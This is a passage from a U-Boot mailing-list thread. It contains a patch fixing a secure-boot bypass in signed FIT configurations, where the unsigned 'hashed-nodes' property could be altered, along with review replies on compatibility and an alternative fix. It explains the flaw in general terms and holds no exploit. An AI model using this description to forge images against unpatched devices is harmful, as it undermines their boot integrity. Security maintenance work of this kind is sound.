[PATCH] FIT: Address Secure Boot Bypass for Signed FIT Images

[PATCH] FIT: Address Secure Boot Bypass for Signed FIT Images

[Tom Rini]

There is a flaw in how U-Boot verifies and generates signatures for FIT
images. To prevent mix and match style attacks, it is recommended to
use signed configurations. How this is supposed to work is documented in
doc/usage/fit/signature.rst.

Crucially, the `hashed-nodes` property of the `signature` node contains
which nodes of the FIT device tree were hashed as part of the signature
and should be verified. However, this property itself is not part of the
hash and can therefore be modified by an attacker. Furthermore, the
signature only contains the name of each node and not the path in the
device tree to the node.

This patch reworks the code to address this specific oversight.

Thanks to Apple Security Engineering and Architecture (SEAR) for
reporting this issue and then coming up with a fix.

Reported-by: Apple Security Engineering and Architecture (SEAR)
Signed-off-by: Tom Rini <trini@konsulko.com>
---
I assume one question will be about adding a test case. I have been
asked to not share the testcase for a few releases yet, so plan to add
that later in the year.
---
 boot/image-fit-sig.c | 31 +++++++++++++++++++++++--------
 include/image.h      | 12 ++++++++++++
 tools/image-host.c   |  9 +++++++--
 3 files changed, 42 insertions(+), 10 deletions(-)

diff --git a/boot/image-fit-sig.c b/boot/image-fit-sig.c
index f23e9d5d0b0f..dce8bbe30e93 100644
--- a/boot/image-fit-sig.c
+++ b/boot/image-fit-sig.c
@@ -44,12 +44,6 @@ struct image_region *fit_region_make_list(const void *fit,
 	debug("Hash regions:\n");
 	debug("%10s %10s\n", "Offset", "Size");
 
-	/*
-	 * Use malloc() except in SPL (to save code size). In SPL the caller
-	 * must allocate the array.
-	 */
-	if (!IS_ENABLED(CONFIG_XPL_BUILD) && !region)
-		region = calloc(sizeof(*region), count);
 	if (!region)
 		return NULL;
 	for (i = 0; i < count; i++) {
@@ -62,6 +56,23 @@ struct image_region *fit_region_make_list(const void *fit,
 	return region;
 }
 
+int fit_region_add_hashed_nodes(struct image_region *region, int count,
+					const char* hashed_nodes, int hashed_nodes_len)
+{
+	/* Add the spacer to ensure the hashed strings and hashed-nodes cannot "overlap". */
+	const char* HASHED_NODES_SPACER = "hashed-nodes";
+	region[count].data = HASHED_NODES_SPACER;
+	region[count].size = strlen(HASHED_NODES_SPACER);
+	count++;
+
+	region[count].data = hashed_nodes;
+	region[count].size = hashed_nodes_len;
+	count++;
+
+	/* Now add the actual hashed-nodes value. */
+	return count;
+}
+
 static int fit_image_setup_verify(struct image_sign_info *info,
 				  const void *fit, int noffset,
 				  const void *key_blob, int required_keynode,
@@ -376,10 +387,14 @@ static int fit_config_check_sig(const void *fit, int noffset, int conf_noffset,
 		count++;
 	}
 
-	/* Allocate the region list on the stack */
-	struct image_region region[count];
+	/* Allocate the region list on the stack, +2 for the hashed-nodes */
+	struct image_region region[count+2];
 
 	fit_region_make_list(fit, fdt_regions, count, region);
+
+	/* Add the hashed-nodes */
+	count = fit_region_add_hashed_nodes(region, count, prop, prop_len);
+
 	if (info.crypto->verify(&info, region, count, fit_value,
 				fit_value_len)) {
 		*err_msgp = "Verification failed";
diff --git a/include/image.h b/include/image.h
index 34efac6056dd..5b847527b586 100644
--- a/include/image.h
+++ b/include/image.h
@@ -1771,6 +1771,18 @@ struct image_region *fit_region_make_list(const void *fit,
 		struct fdt_region *fdt_regions, int count,
 		struct image_region *region);
 
+/**
+ * fit_region_add_hashed_nodes() - Add a list of hashed nodes to the regions
+ *
+ * @region:		List of regions to add to
+ * @count:		Number of existing regions (Note: region needs to have space for an additional two regions)
+ * @hashed_nodes:		List of hashed nodes
+ * @hashed_nodes_len:	Length of list
+ * Return: The updated count value (i.e. count+2).
+ */
+int fit_region_add_hashed_nodes(struct image_region *region, int count,
+		const char* hashed_nodes, int hashed_nodes_len);
+
 static inline int fit_image_check_target_arch(const void *fdt, int node)
 {
 #ifndef USE_HOSTCC
diff --git a/tools/image-host.c b/tools/image-host.c
index 48d69191c921..1e7c38a9a211 100644
--- a/tools/image-host.c
+++ b/tools/image-host.c
@@ -1018,13 +1018,15 @@ static int fit_config_get_regions(const void *fit, int conf_noffset,
 		return -EINVAL;
 	}
 
-	/* Build our list of data blocks */
-	region = fit_region_make_list(fit, fdt_regions, count, NULL);
+	/* Allocate the region array, +2 for the hashed-nodes region. */
+	region = calloc(count+2, sizeof(*region));
 	if (!region) {
 		fprintf(stderr, "Out of memory hashing configuration '%s/%s'\n",
 			conf_name, sig_name);
 		return -ENOMEM;
 	}
+	/* Build our list of data blocks */
+	fit_region_make_list(fit, fdt_regions, count, region);
 
 	/* Create a list of all hashed properties */
 	debug("Hash nodes:\n");
@@ -1043,6 +1045,9 @@ static int fit_config_get_regions(const void *fit, int conf_noffset,
 		strcpy(region_prop + len, node_inc.strings[i]);
 	strlist_free(&node_inc);
 
+	/* Add the hashed-nodes. */
+	count = fit_region_add_hashed_nodes(region, count, region_prop, len);
+
 	*region_countp = count;
 	*regionp = region;
 	*region_propp = region_prop;
-- 
2.43.0

Re: [PATCH] FIT: Address Secure Boot Bypass for Signed FIT Images

[Ahmad Fatoum]

Hello Tom,

On 3/2/26 23:09, Tom Rini wrote:
> There is a flaw in how U-Boot verifies and generates signatures for FIT
> images. To prevent mix and match style attacks, it is recommended to
> use signed configurations. How this is supposed to work is documented in
> doc/usage/fit/signature.rst.
> 
> Crucially, the `hashed-nodes` property of the `signature` node contains
> which nodes of the FIT device tree were hashed as part of the signature
> and should be verified. However, this property itself is not part of the
> hash and can therefore be modified by an attacker. Furthermore, the
> signature only contains the name of each node and not the path in the
> device tree to the node.
> 
> This patch reworks the code to address this specific oversight.

Do I understand correctly that this is a breaking change
for FIT with signed configurations?

- New U-Boot hashes more than intended for old FIT
- Old U-Boot hashes less than intended for new FIT

Thanks,
Ahmad

> 
> Thanks to Apple Security Engineering and Architecture (SEAR) for
> reporting this issue and then coming up with a fix.
> 
> Reported-by: Apple Security Engineering and Architecture (SEAR)
> Signed-off-by: Tom Rini <trini@konsulko.com>
> ---
> I assume one question will be about adding a test case. I have been
> asked to not share the testcase for a few releases yet, so plan to add
> that later in the year.
> ---
>  boot/image-fit-sig.c | 31 +++++++++++++++++++++++--------
>  include/image.h      | 12 ++++++++++++
>  tools/image-host.c   |  9 +++++++--
>  3 files changed, 42 insertions(+), 10 deletions(-)
> 
> diff --git a/boot/image-fit-sig.c b/boot/image-fit-sig.c
> index f23e9d5d0b0f..dce8bbe30e93 100644
> --- a/boot/image-fit-sig.c
> +++ b/boot/image-fit-sig.c
> @@ -44,12 +44,6 @@ struct image_region *fit_region_make_list(const void *fit,
>  	debug("Hash regions:\n");
>  	debug("%10s %10s\n", "Offset", "Size");
>  
> -	/*
> -	 * Use malloc() except in SPL (to save code size). In SPL the caller
> -	 * must allocate the array.
> -	 */
> -	if (!IS_ENABLED(CONFIG_XPL_BUILD) && !region)
> -		region = calloc(sizeof(*region), count);
>  	if (!region)
>  		return NULL;
>  	for (i = 0; i < count; i++) {
> @@ -62,6 +56,23 @@ struct image_region *fit_region_make_list(const void *fit,
>  	return region;
>  }
>  
> +int fit_region_add_hashed_nodes(struct image_region *region, int count,
> +					const char* hashed_nodes, int hashed_nodes_len)
> +{
> +	/* Add the spacer to ensure the hashed strings and hashed-nodes cannot "overlap". */
> +	const char* HASHED_NODES_SPACER = "hashed-nodes";
> +	region[count].data = HASHED_NODES_SPACER;
> +	region[count].size = strlen(HASHED_NODES_SPACER);
> +	count++;
> +
> +	region[count].data = hashed_nodes;
> +	region[count].size = hashed_nodes_len;
> +	count++;
> +
> +	/* Now add the actual hashed-nodes value. */
> +	return count;
> +}
> +
>  static int fit_image_setup_verify(struct image_sign_info *info,
>  				  const void *fit, int noffset,
>  				  const void *key_blob, int required_keynode,
> @@ -376,10 +387,14 @@ static int fit_config_check_sig(const void *fit, int noffset, int conf_noffset,
>  		count++;
>  	}
>  
> -	/* Allocate the region list on the stack */
> -	struct image_region region[count];
> +	/* Allocate the region list on the stack, +2 for the hashed-nodes */
> +	struct image_region region[count+2];
>  
>  	fit_region_make_list(fit, fdt_regions, count, region);
> +
> +	/* Add the hashed-nodes */
> +	count = fit_region_add_hashed_nodes(region, count, prop, prop_len);
> +
>  	if (info.crypto->verify(&info, region, count, fit_value,
>  				fit_value_len)) {
>  		*err_msgp = "Verification failed";
> diff --git a/include/image.h b/include/image.h
> index 34efac6056dd..5b847527b586 100644
> --- a/include/image.h
> +++ b/include/image.h
> @@ -1771,6 +1771,18 @@ struct image_region *fit_region_make_list(const void *fit,
>  		struct fdt_region *fdt_regions, int count,
>  		struct image_region *region);
>  
> +/**
> + * fit_region_add_hashed_nodes() - Add a list of hashed nodes to the regions
> + *
> + * @region:		List of regions to add to
> + * @count:		Number of existing regions (Note: region needs to have space for an additional two regions)
> + * @hashed_nodes:		List of hashed nodes
> + * @hashed_nodes_len:	Length of list
> + * Return: The updated count value (i.e. count+2).
> + */
> +int fit_region_add_hashed_nodes(struct image_region *region, int count,
> +		const char* hashed_nodes, int hashed_nodes_len);
> +
>  static inline int fit_image_check_target_arch(const void *fdt, int node)
>  {
>  #ifndef USE_HOSTCC
> diff --git a/tools/image-host.c b/tools/image-host.c
> index 48d69191c921..1e7c38a9a211 100644
> --- a/tools/image-host.c
> +++ b/tools/image-host.c
> @@ -1018,13 +1018,15 @@ static int fit_config_get_regions(const void *fit, int conf_noffset,
>  		return -EINVAL;
>  	}
>  
> -	/* Build our list of data blocks */
> -	region = fit_region_make_list(fit, fdt_regions, count, NULL);
> +	/* Allocate the region array, +2 for the hashed-nodes region. */
> +	region = calloc(count+2, sizeof(*region));
>  	if (!region) {
>  		fprintf(stderr, "Out of memory hashing configuration '%s/%s'\n",
>  			conf_name, sig_name);
>  		return -ENOMEM;
>  	}
> +	/* Build our list of data blocks */
> +	fit_region_make_list(fit, fdt_regions, count, region);
>  
>  	/* Create a list of all hashed properties */
>  	debug("Hash nodes:\n");
> @@ -1043,6 +1045,9 @@ static int fit_config_get_regions(const void *fit, int conf_noffset,
>  		strcpy(region_prop + len, node_inc.strings[i]);
>  	strlist_free(&node_inc);
>  
> +	/* Add the hashed-nodes. */
> +	count = fit_region_add_hashed_nodes(region, count, region_prop, len);
> +
>  	*region_countp = count;
>  	*regionp = region;
>  	*region_propp = region_prop;


-- 
Pengutronix e.K.                           |                             |
Steuerwalder Str. 21                       | http://www.pengutronix.de/  |
31137 Hildesheim, Germany                  | Phone: +49-5121-206917-0    |
Amtsgericht Hildesheim, HRA 2686           | Fax:   +49-5121-206917-5555 |

Re: [PATCH] FIT: Address Secure Boot Bypass for Signed FIT Images

[Simon Glass]

Hi,

On Tue, 3 Mar 2026 at 01:09, Ahmad Fatoum <a.fatoum@pengutronix.de> wrote:
>
> Hello Tom,
>
> On 3/2/26 23:09, Tom Rini wrote:
> > There is a flaw in how U-Boot verifies and generates signatures for FIT
> > images. To prevent mix and match style attacks, it is recommended to
> > use signed configurations. How this is supposed to work is documented in
> > doc/usage/fit/signature.rst.
> >
> > Crucially, the `hashed-nodes` property of the `signature` node contains
> > which nodes of the FIT device tree were hashed as part of the signature
> > and should be verified. However, this property itself is not part of the
> > hash and can therefore be modified by an attacker. Furthermore, the
> > signature only contains the name of each node and not the path in the
> > device tree to the node.
> >
> > This patch reworks the code to address this specific oversight.
>
> Do I understand correctly that this is a breaking change
> for FIT with signed configurations?
>
> - New U-Boot hashes more than intended for old FIT
> - Old U-Boot hashes less than intended for new FIT

Yes, that's right.

Reviewed-by: Simon Glass <sjg@chromium.org>

I can see how this works. Please see nit below.

>
> Thanks,
> Ahmad
>
> >
> > Thanks to Apple Security Engineering and Architecture (SEAR) for
> > reporting this issue and then coming up with a fix.
> >
> > Reported-by: Apple Security Engineering and Architecture (SEAR)
> > Signed-off-by: Tom Rini <trini@konsulko.com>
> > ---
> > I assume one question will be about adding a test case. I have been
> > asked to not share the testcase for a few releases yet, so plan to add
> > that later in the year.
> > ---
> >  boot/image-fit-sig.c | 31 +++++++++++++++++++++++--------
> >  include/image.h      | 12 ++++++++++++
> >  tools/image-host.c   |  9 +++++++--
> >  3 files changed, 42 insertions(+), 10 deletions(-)
> >
> > diff --git a/boot/image-fit-sig.c b/boot/image-fit-sig.c
> > index f23e9d5d0b0f..dce8bbe30e93 100644
> > --- a/boot/image-fit-sig.c
> > +++ b/boot/image-fit-sig.c
> > @@ -44,12 +44,6 @@ struct image_region *fit_region_make_list(const void *fit,
> >       debug("Hash regions:\n");
> >       debug("%10s %10s\n", "Offset", "Size");
> >
> > -     /*
> > -      * Use malloc() except in SPL (to save code size). In SPL the caller
> > -      * must allocate the array.
> > -      */
> > -     if (!IS_ENABLED(CONFIG_XPL_BUILD) && !region)
> > -             region = calloc(sizeof(*region), count);
> >       if (!region)
> >               return NULL;
> >       for (i = 0; i < count; i++) {
> > @@ -62,6 +56,23 @@ struct image_region *fit_region_make_list(const void *fit,
> >       return region;
> >  }
> >
> > +int fit_region_add_hashed_nodes(struct image_region *region, int count,
> > +                                     const char* hashed_nodes, int hashed_nodes_len)

That should line up with the previous line.

> > +{
> > +     /* Add the spacer to ensure the hashed strings and hashed-nodes cannot "overlap". */
> > +     const char* HASHED_NODES_SPACER = "hashed-nodes";
> > +     region[count].data = HASHED_NODES_SPACER;
> > +     region[count].size = strlen(HASHED_NODES_SPACER);
> > +     count++;
> > +
> > +     region[count].data = hashed_nodes;
> > +     region[count].size = hashed_nodes_len;
> > +     count++;
> > +
> > +     /* Now add the actual hashed-nodes value. */
> > +     return count;
> > +}
> > +
> >  static int fit_image_setup_verify(struct image_sign_info *info,
> >                                 const void *fit, int noffset,
> >                                 const void *key_blob, int required_keynode,
> > @@ -376,10 +387,14 @@ static int fit_config_check_sig(const void *fit, int noffset, int conf_noffset,
> >               count++;
> >       }
> >
> > -     /* Allocate the region list on the stack */
> > -     struct image_region region[count];
> > +     /* Allocate the region list on the stack, +2 for the hashed-nodes */
> > +     struct image_region region[count+2];

spaces around +

> >
> >       fit_region_make_list(fit, fdt_regions, count, region);
> > +
> > +     /* Add the hashed-nodes */
> > +     count = fit_region_add_hashed_nodes(region, count, prop, prop_len);
> > +
> >       if (info.crypto->verify(&info, region, count, fit_value,
> >                               fit_value_len)) {
> >               *err_msgp = "Verification failed";
> > diff --git a/include/image.h b/include/image.h
> > index 34efac6056dd..5b847527b586 100644
> > --- a/include/image.h
> > +++ b/include/image.h
> > @@ -1771,6 +1771,18 @@ struct image_region *fit_region_make_list(const void *fit,
> >               struct fdt_region *fdt_regions, int count,
> >               struct image_region *region);
> >
> > +/**
> > + * fit_region_add_hashed_nodes() - Add a list of hashed nodes to the regions
> > + *
> > + * @region:          List of regions to add to
> > + * @count:           Number of existing regions (Note: region needs to have space for an additional two regions)

long line

> > + * @hashed_nodes:            List of hashed nodes
> > + * @hashed_nodes_len:        Length of list
> > + * Return: The updated count value (i.e. count+2).
> > + */
> > +int fit_region_add_hashed_nodes(struct image_region *region, int count,
> > +             const char* hashed_nodes, int hashed_nodes_len);
> > +
> >  static inline int fit_image_check_target_arch(const void *fdt, int node)
> >  {
> >  #ifndef USE_HOSTCC
> > diff --git a/tools/image-host.c b/tools/image-host.c
> > index 48d69191c921..1e7c38a9a211 100644
> > --- a/tools/image-host.c
> > +++ b/tools/image-host.c
> > @@ -1018,13 +1018,15 @@ static int fit_config_get_regions(const void *fit, int conf_noffset,
> >               return -EINVAL;
> >       }
> >
> > -     /* Build our list of data blocks */
> > -     region = fit_region_make_list(fit, fdt_regions, count, NULL);
> > +     /* Allocate the region array, +2 for the hashed-nodes region. */
> > +     region = calloc(count+2, sizeof(*region));
> >       if (!region) {
> >               fprintf(stderr, "Out of memory hashing configuration '%s/%s'\n",
> >                       conf_name, sig_name);
> >               return -ENOMEM;
> >       }
> > +     /* Build our list of data blocks */
> > +     fit_region_make_list(fit, fdt_regions, count, region);
> >
> >       /* Create a list of all hashed properties */
> >       debug("Hash nodes:\n");
> > @@ -1043,6 +1045,9 @@ static int fit_config_get_regions(const void *fit, int conf_noffset,
> >               strcpy(region_prop + len, node_inc.strings[i]);
> >       strlist_free(&node_inc);
> >
> > +     /* Add the hashed-nodes. */
> > +     count = fit_region_add_hashed_nodes(region, count, region_prop, len);
> > +
> >       *region_countp = count;
> >       *regionp = region;
> >       *region_propp = region_prop;

Regards,
Simon

Re: [PATCH] FIT: Address Secure Boot Bypass for Signed FIT Images

[Tom Rini]

[-- Attachment #1: Type: text/plain, Size: 1944 bytes --]

On Tue, Mar 03, 2026 at 09:08:59AM +0100, Ahmad Fatoum wrote:
> Hello Tom,
> 
> On 3/2/26 23:09, Tom Rini wrote:
> > There is a flaw in how U-Boot verifies and generates signatures for FIT
> > images. To prevent mix and match style attacks, it is recommended to
> > use signed configurations. How this is supposed to work is documented in
> > doc/usage/fit/signature.rst.
> > 
> > Crucially, the `hashed-nodes` property of the `signature` node contains
> > which nodes of the FIT device tree were hashed as part of the signature
> > and should be verified. However, this property itself is not part of the
> > hash and can therefore be modified by an attacker. Furthermore, the
> > signature only contains the name of each node and not the path in the
> > device tree to the node.
> > 
> > This patch reworks the code to address this specific oversight.
> 
> Do I understand correctly that this is a breaking change
> for FIT with signed configurations?
> 
> - New U-Boot hashes more than intended for old FIT
> - Old U-Boot hashes less than intended for new FIT

Sadly yes, similar to:
commit 79af75f7776fc20b0d7eb6afe1e27c00fdb4b9b4
Author: Simon Glass <sjg@chromium.org>
Date:   Mon Feb 15 17:08:06 2021 -0700

    fit: Don't allow verification of images with @ nodes
    
    When searching for a node called 'fred', any unit address appended to the
    name is ignored by libfdt, meaning that 'fred' can match 'fred@1'. This
    means that we cannot be sure that the node originally intended is the one
    that is used.
    
    Disallow use of nodes with unit addresses.
    
    Update the forge test also, since it uses @ addresses.
    
    CVE-2021-27138
    
    Signed-off-by: Simon Glass <sjg@chromium.org>
    Reported-by: Bruce Monroe <bruce.monroe@intel.com>
    Reported-by: Arie Haenel <arie.haenel@intel.com>
    Reported-by: Julien Lenoir <julien.lenoir@intel.com>

-- 
Tom

[-- Attachment #2: signature.asc --]
[-- Type: application/pgp-signature, Size: 228 bytes --]

Re: [PATCH] FIT: Address Secure Boot Bypass for Signed FIT Images

[Tom Rini]

[-- Attachment #1: Type: text/plain, Size: 1446 bytes --]

On Tue, Mar 03, 2026 at 06:32:50AM -0700, Simon Glass wrote:
> Hi,
> 
> On Tue, 3 Mar 2026 at 01:09, Ahmad Fatoum <a.fatoum@pengutronix.de> wrote:
> >
> > Hello Tom,
> >
> > On 3/2/26 23:09, Tom Rini wrote:
> > > There is a flaw in how U-Boot verifies and generates signatures for FIT
> > > images. To prevent mix and match style attacks, it is recommended to
> > > use signed configurations. How this is supposed to work is documented in
> > > doc/usage/fit/signature.rst.
> > >
> > > Crucially, the `hashed-nodes` property of the `signature` node contains
> > > which nodes of the FIT device tree were hashed as part of the signature
> > > and should be verified. However, this property itself is not part of the
> > > hash and can therefore be modified by an attacker. Furthermore, the
> > > signature only contains the name of each node and not the path in the
> > > device tree to the node.
> > >
> > > This patch reworks the code to address this specific oversight.
> >
> > Do I understand correctly that this is a breaking change
> > for FIT with signed configurations?
> >
> > - New U-Boot hashes more than intended for old FIT
> > - Old U-Boot hashes less than intended for new FIT
> 
> Yes, that's right.
> 
> Reviewed-by: Simon Glass <sjg@chromium.org>
> 
> I can see how this works. Please see nit below.

I did fail to run this past checkpatch.pl and will fixup when applying,
thanks.

-- 
Tom

[-- Attachment #2: signature.asc --]
[-- Type: application/pgp-signature, Size: 228 bytes --]

Re: [PATCH] FIT: Address Secure Boot Bypass for Signed FIT Images

[Sascha Hauer]

Hi Tom,

On Mon, Mar 02, 2026 at 04:09:37PM -0600, Tom Rini wrote:
> There is a flaw in how U-Boot verifies and generates signatures for FIT
> images. To prevent mix and match style attacks, it is recommended to
> use signed configurations. How this is supposed to work is documented in
> doc/usage/fit/signature.rst.
> 
> Crucially, the `hashed-nodes` property of the `signature` node contains
> which nodes of the FIT device tree were hashed as part of the signature
> and should be verified. However, this property itself is not part of the
> hash and can therefore be modified by an attacker. Furthermore, the
> signature only contains the name of each node and not the path in the
> device tree to the node.
> 
> This patch reworks the code to address this specific oversight.

As this breaks compatibility between old U-Boot and new FIT images and
the other way round it would be good to introduce a version field to FIT
images. With that at least newer U-Boot versions could print a more
meaningful error message than just "image verification failed" which
gives no clue what had actually happened.

Sascha

-- 
Pengutronix e.K.                           |                             |
Steuerwalder Str. 21                       | http://www.pengutronix.de/  |
31137 Hildesheim, Germany                  | Phone: +49-5121-206917-0    |
Amtsgericht Hildesheim, HRA 2686           | Fax:   +49-5121-206917-5555 |

Re: [PATCH] FIT: Address Secure Boot Bypass for Signed FIT Images

[Nussel, Ludwig]

On Tue, 2026-03-03 at 09:53 -0600, Tom Rini wrote:
> On Tue, Mar 03, 2026 at 09:08:59AM +0100, Ahmad Fatoum wrote:
> > Hello Tom,
> > 
> > On 3/2/26 23:09, Tom Rini wrote:
> > > There is a flaw in how U-Boot verifies and generates signatures for FIT
> > > images. To prevent mix and match style attacks, it is recommended to
> > > use signed configurations. How this is supposed to work is documented in
> > > doc/usage/fit/signature.rst.
> > > 
> > > Crucially, the `hashed-nodes` property of the `signature` node contains
> > > which nodes of the FIT device tree were hashed as part of the signature
> > > and should be verified. However, this property itself is not part of the
> > > hash and can therefore be modified by an attacker. Furthermore, the
> > > signature only contains the name of each node and not the path in the
> > > device tree to the node.
> > > 
> > > This patch reworks the code to address this specific oversight.
> > 
> > Do I understand correctly that this is a breaking change
> > for FIT with signed configurations?
> > 
> > - New U-Boot hashes more than intended for old FIT
> > - Old U-Boot hashes less than intended for new FIT
> 
> Sadly yes, similar to:

I'm a bit confused why this doesn't cause an outcry. Aren't both the
problem and the proposed fix a disaster for anyone relying on FIT
signatures? :-)

If I understand the issue description right, the problem is that the
`hashed-nodes` property is used for verification as is.
I wonder whether a simpler fix that doesn't break compatibility is
possible by treating this property differently.

Consider the config from the example at
https://docs.u-boot.org/en/latest/usage/fit/signature.html:

    configurations {
        default = "conf-1";
        conf-1 {
            kernel = "kernel-1";
            fdt = "fdt-1";
            signature-1 {
                algo = "sha256,rsa2048";
                value = <...conf 1 signature...>;
            };
        };
        ...
    };

The example doesn't actually list the `hashed-nodes` property. It would
be

hashed-nodes = "/", "/configurations/conf-1", "/images/kernel-1",
"/images/kernel-1/hash-1", "/images/fdt-1", "/images/fdt-1/hash-1";

Is there a legitimate use case where this value would be any different?
Maybe for adding some unused properties that are only used for
documentation purposes? If there aren't such, the `hashed-nodes` value
would be actually redundant and can be calculated at verification time.
No need to write it into the fit image.

So an alternative fix could be to make u-boot work without the `hashed-
nodes` property.
For backwards compatibility with vulnerable u-boots we could read the
value if present. Instead of using it as is, u-boot could calculate the
intersection with what it would use. If the result is equal or a subset
of the calculated value it's fine to use and an error if not. So even
if an attacker can modify the `hashed-nodes` value, u-boot couldn't be
tricked to mess up verification.
Maybe it makes sense to also issue a warning about unverified
properties.

cu
Ludwig

-- 
Ludwig Nussel
Siemens AG
www.siemens.com

Re: [PATCH] FIT: Address Secure Boot Bypass for Signed FIT Images

[Simon Glass]

Hi Ludwig,

On Wed, 4 Mar 2026 at 02:22, Nussel, Ludwig <ludwig.nussel@siemens.com> wrote:
>
> On Tue, 2026-03-03 at 09:53 -0600, Tom Rini wrote:
> > On Tue, Mar 03, 2026 at 09:08:59AM +0100, Ahmad Fatoum wrote:
> > > Hello Tom,
> > >
> > > On 3/2/26 23:09, Tom Rini wrote:
> > > > There is a flaw in how U-Boot verifies and generates signatures for FIT
> > > > images. To prevent mix and match style attacks, it is recommended to
> > > > use signed configurations. How this is supposed to work is documented in
> > > > doc/usage/fit/signature.rst.
> > > >
> > > > Crucially, the `hashed-nodes` property of the `signature` node contains
> > > > which nodes of the FIT device tree were hashed as part of the signature
> > > > and should be verified. However, this property itself is not part of the
> > > > hash and can therefore be modified by an attacker. Furthermore, the
> > > > signature only contains the name of each node and not the path in the
> > > > device tree to the node.
> > > >
> > > > This patch reworks the code to address this specific oversight.
> > >
> > > Do I understand correctly that this is a breaking change
> > > for FIT with signed configurations?
> > >
> > > - New U-Boot hashes more than intended for old FIT
> > > - Old U-Boot hashes less than intended for new FIT
> >
> > Sadly yes, similar to:
>
> I'm a bit confused why this doesn't cause an outcry. Aren't both the
> problem and the proposed fix a disaster for anyone relying on FIT
> signatures? :-)
>
> If I understand the issue description right, the problem is that the
> `hashed-nodes` property is used for verification as is.
> I wonder whether a simpler fix that doesn't break compatibility is
> possible by treating this property differently.
>
> Consider the config from the example at
> https://docs.u-boot.org/en/latest/usage/fit/signature.html:
>
>     configurations {
>         default = "conf-1";
>         conf-1 {
>             kernel = "kernel-1";
>             fdt = "fdt-1";
>             signature-1 {
>                 algo = "sha256,rsa2048";
>                 value = <...conf 1 signature...>;
>             };
>         };
>         ...
>     };
>
> The example doesn't actually list the `hashed-nodes` property. It would
> be
>
> hashed-nodes = "/", "/configurations/conf-1", "/images/kernel-1",
> "/images/kernel-1/hash-1", "/images/fdt-1", "/images/fdt-1/hash-1";
>
> Is there a legitimate use case where this value would be any different?
> Maybe for adding some unused properties that are only used for
> documentation purposes? If there aren't such, the `hashed-nodes` value
> would be actually redundant and can be calculated at verification time.
> No need to write it into the fit image.
>
> So an alternative fix could be to make u-boot work without the `hashed-
> nodes` property.
> For backwards compatibility with vulnerable u-boots we could read the
> value if present. Instead of using it as is, u-boot could calculate the
> intersection with what it would use. If the result is equal or a subset
> of the calculated value it's fine to use and an error if not. So even
> if an attacker can modify the `hashed-nodes` value, u-boot couldn't be
> tricked to mess up verification.
> Maybe it makes sense to also issue a warning about unverified
> properties.

Yes, I was playing around with that yesterday...I'll try to create a patch.

Regards,
Simon



>
> cu
> Ludwig
>
> --
> Ludwig Nussel
> Siemens AG
> www.siemens.com

Re: [PATCH] FIT: Address Secure Boot Bypass for Signed FIT Images

[Tom Rini]

[-- Attachment #1: Type: text/plain, Size: 1392 bytes --]

On Wed, Mar 04, 2026 at 08:31:46AM +0100, Sascha Hauer wrote:
> Hi Tom,
> 
> On Mon, Mar 02, 2026 at 04:09:37PM -0600, Tom Rini wrote:
> > There is a flaw in how U-Boot verifies and generates signatures for FIT
> > images. To prevent mix and match style attacks, it is recommended to
> > use signed configurations. How this is supposed to work is documented in
> > doc/usage/fit/signature.rst.
> > 
> > Crucially, the `hashed-nodes` property of the `signature` node contains
> > which nodes of the FIT device tree were hashed as part of the signature
> > and should be verified. However, this property itself is not part of the
> > hash and can therefore be modified by an attacker. Furthermore, the
> > signature only contains the name of each node and not the path in the
> > device tree to the node.
> > 
> > This patch reworks the code to address this specific oversight.
> 
> As this breaks compatibility between old U-Boot and new FIT images and
> the other way round it would be good to introduce a version field to FIT
> images. With that at least newer U-Boot versions could print a more
> meaningful error message than just "image verification failed" which
> gives no clue what had actually happened.

It's not the first time we've had a break in backwards compatibility but
previously we had at least printed something about it specifically.

-- 
Tom

[-- Attachment #2: signature.asc --]
[-- Type: application/pgp-signature, Size: 228 bytes --]

Re: [PATCH] FIT: Address Secure Boot Bypass for Signed FIT Images

[Quentin Schulz]

Hi Sascha,

On 3/4/26 8:31 AM, Sascha Hauer wrote:
> Hi Tom,
> 
> On Mon, Mar 02, 2026 at 04:09:37PM -0600, Tom Rini wrote:
>> There is a flaw in how U-Boot verifies and generates signatures for FIT
>> images. To prevent mix and match style attacks, it is recommended to
>> use signed configurations. How this is supposed to work is documented in
>> doc/usage/fit/signature.rst.
>>
>> Crucially, the `hashed-nodes` property of the `signature` node contains
>> which nodes of the FIT device tree were hashed as part of the signature
>> and should be verified. However, this property itself is not part of the
>> hash and can therefore be modified by an attacker. Furthermore, the
>> signature only contains the name of each node and not the path in the
>> device tree to the node.
>>
>> This patch reworks the code to address this specific oversight.
> 
> As this breaks compatibility between old U-Boot and new FIT images and
> the other way round it would be good to introduce a version field to FIT
> images. With that at least newer U-Boot versions could print a more

How do we decide when to bump this version?

> meaningful error message than just "image verification failed" which
> gives no clue what had actually happened.
> 

Here, only signed FIT images with required = conf actually won't work as 
far as I understood, the rest will work as usual. So we would need to 
keep track of which version(s) of the FIT are supported by which part(s) 
of the code, or error out saying it is not supported as soon as it is 
parsed but it actually is supported, making incompatibility wider for no 
reason?

Not saying it's a bad idea, just that it's not as simple as putting a 
version field in there. Also, I'm assuming this would need to be part of 
the FIT spec. And I'm wondering if this isn't rather a shortcoming of 
U-Boot implementation for FIT signature verification rather than an 
issue with the spec, so why should the spec bump the version if an 
implementer got it wrong?

Cheers,
Quentin

Re: [PATCH] FIT: Address Secure Boot Bypass for Signed FIT Images

[Sascha Hauer]

On Wed, Mar 04, 2026 at 05:33:36PM +0100, Quentin Schulz wrote:
> Hi Sascha,
> 
> On 3/4/26 8:31 AM, Sascha Hauer wrote:
> > Hi Tom,
> > 
> > On Mon, Mar 02, 2026 at 04:09:37PM -0600, Tom Rini wrote:
> > > There is a flaw in how U-Boot verifies and generates signatures for FIT
> > > images. To prevent mix and match style attacks, it is recommended to
> > > use signed configurations. How this is supposed to work is documented in
> > > doc/usage/fit/signature.rst.
> > > 
> > > Crucially, the `hashed-nodes` property of the `signature` node contains
> > > which nodes of the FIT device tree were hashed as part of the signature
> > > and should be verified. However, this property itself is not part of the
> > > hash and can therefore be modified by an attacker. Furthermore, the
> > > signature only contains the name of each node and not the path in the
> > > device tree to the node.
> > > 
> > > This patch reworks the code to address this specific oversight.
> > 
> > As this breaks compatibility between old U-Boot and new FIT images and
> > the other way round it would be good to introduce a version field to FIT
> > images. With that at least newer U-Boot versions could print a more
> 
> How do we decide when to bump this version?

Bump it on incompatible changes.

> 
> > meaningful error message than just "image verification failed" which
> > gives no clue what had actually happened.
> > 
> 
> Here, only signed FIT images with required = conf actually won't work as far
> as I understood, the rest will work as usual. So we would need to keep track
> of which version(s) of the FIT are supported by which part(s) of the code,
> or error out saying it is not supported as soon as it is parsed but it
